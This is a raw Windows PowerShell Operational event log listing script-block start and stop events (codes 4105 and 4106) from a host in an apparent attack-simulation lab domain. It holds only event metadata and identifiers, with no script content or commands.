Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033096
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033095
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033094
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033093
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033092
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033091
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033090
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033089
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033088
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033087
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033086
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033085
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033084
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033083
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033082
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033081
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033080
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033079
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033078
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033077
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033076
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033075
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033074
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033073
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033072
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033071
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033070
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033069
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033068
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033067
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033066
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033065
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033064
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033063
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033062
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033061
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033060
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033059
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033058
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033057
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033056
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033055
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033054
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033053
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033052
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033051
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033050
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033049
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033048
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033047
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033046
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033045
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033044
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
